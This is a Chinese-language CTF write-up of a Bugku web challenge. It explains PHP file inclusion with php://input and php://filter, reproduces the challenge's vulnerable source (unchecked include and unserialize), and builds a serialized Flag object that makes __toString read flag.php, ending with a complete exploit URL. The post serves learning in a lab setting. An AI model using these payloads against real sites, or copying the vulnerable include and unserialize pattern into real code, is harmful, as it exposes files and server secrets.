Bugkuctf web题---------welcome to bugkuctf"/>
Bugkuctf web题---------welcome to bugkuctf
今天做到了一道比较有收获的题,所以呢就打算记下来,涉及到了文件包含的知识,复习复习,对于目前滴俺来说,确实有难度!
题目链接
首先打开题目,如图
查看源码
好的!注释成功引起了我们的注意,第一个线索找到了!
好吧,让我们来分析一下源码
开始来了仨变量,user,file,pass。(跟踪变量有肉吃!)
部分陌生的函数理解:
isset
——判断变量是否声明,即user补位空file_get_contents
— 将整个文件读入一个字符串
然后。。。
我们发现有个好东西,就是它!这个后面应该会用到的。
里面可能有些东西,嘿嘿
点开看看,是不是金屋藏娇了!
啥都没有。。。好尴尬,有点迷
看来是没有这么简单
再看源码
好的,思路来了
即:满足条件后要读取file=hint.php文件!
那么如何满足条件呢?
第一个,满足user存在,那么txt就要有内容
第二,file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。
我们想把指定字符串作为文件传给txt,然后再读出user中的内容进行比较,就达成条件了!
那么如何做呢?
这里就要用到一个知识点php伪协议
如果你看着有点懵?那么还是先看看官方文档吧
这里需要的是
php://input----一个可以访问请求的原始数据的只读流。 访问的是文件!
大致是让txt作为文件名,然后让php://input读取,同时把指定的字符串的内容给post上去,让它成为文件的内容。就得到了
PS:payload此时还不完整哦!
咦?有小伙伴可能要问了,index.php哪儿来的呢?
度娘解释如下
所以可以当做一个经验,如若不服,可以采用御剑去扫一扫啦。
好了,咱满足了条件,接下来是要读取包含滴文件,这就要用到第二个伪协议
php://filter任意文件读取!
放上一个截图,当然也可以选择看官方文档哈
于是我们的payload构造出来了
txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
看到一坨字母,有木有觉得眼熟?没错,它就是base64!
解码后如下
<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("good");} }
}
?>
哇?flag.php!兴奋啊,马上去一看
又是啥都没有???
是不是sa???都知道了是文件包含,还不会!
又是一坨天书?不知道啥意思,一看源码
啊啊啊,信不信我掀桌子啊
现在又该咋办呢?
想一想还有撒没用,好像还有个index.php???
用伪协议读一下
又是base64,解码得
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦";exit(); }else{ include($file); $password = unserialize($password); echo $password; }
}else{ echo "you are not the number of bugku ! ";
} ?> <!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php
}else{ echo "you are not admin ! ";
} -->
寻找跟flag.php相关的代码!!!
翻译一下意思
如果file不包含’flag’,输出password的值,这个值是反序列化后的结果
反序列化前,应该要有序列化,那么去哪儿找呢?
别忘了咱们的hint.php还没用完哦,
这里要插入一个知识点
__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法
这样一来,代码的意思就懂了,即当Flag类当做字符串执行时,会自动执行该方法,然后若file文件存在,则输出该文件
于是思路来了!
联立前面的反序列化,
构造一个序列化的结果,内容是一个Flag类,里面传递的$file
值为想要输出内容的flag.php,
代码如下
<?php
class Flag{
public $file;
}//定义类
$ans=new Flag();//创建一个对象
$ans->file="flag.php";
$ans=serialize($ans);//序列化
print_r($ans)
?>
当然熟悉的小伙伴可以直接写出来
即:o:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
把它传给变量password,get进去就完成啦!当然,include的文件要是hint.php,毕竟要使用里面的函数。
所以最终的payload为
http://123.206.87.240:8006/test1/index.php?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
到此结束!
费老大劲儿了!
感觉菜得不行,还需更努力呀!
更多推荐
Bugkuctf web题---------welcome to bugkuctf
发布评论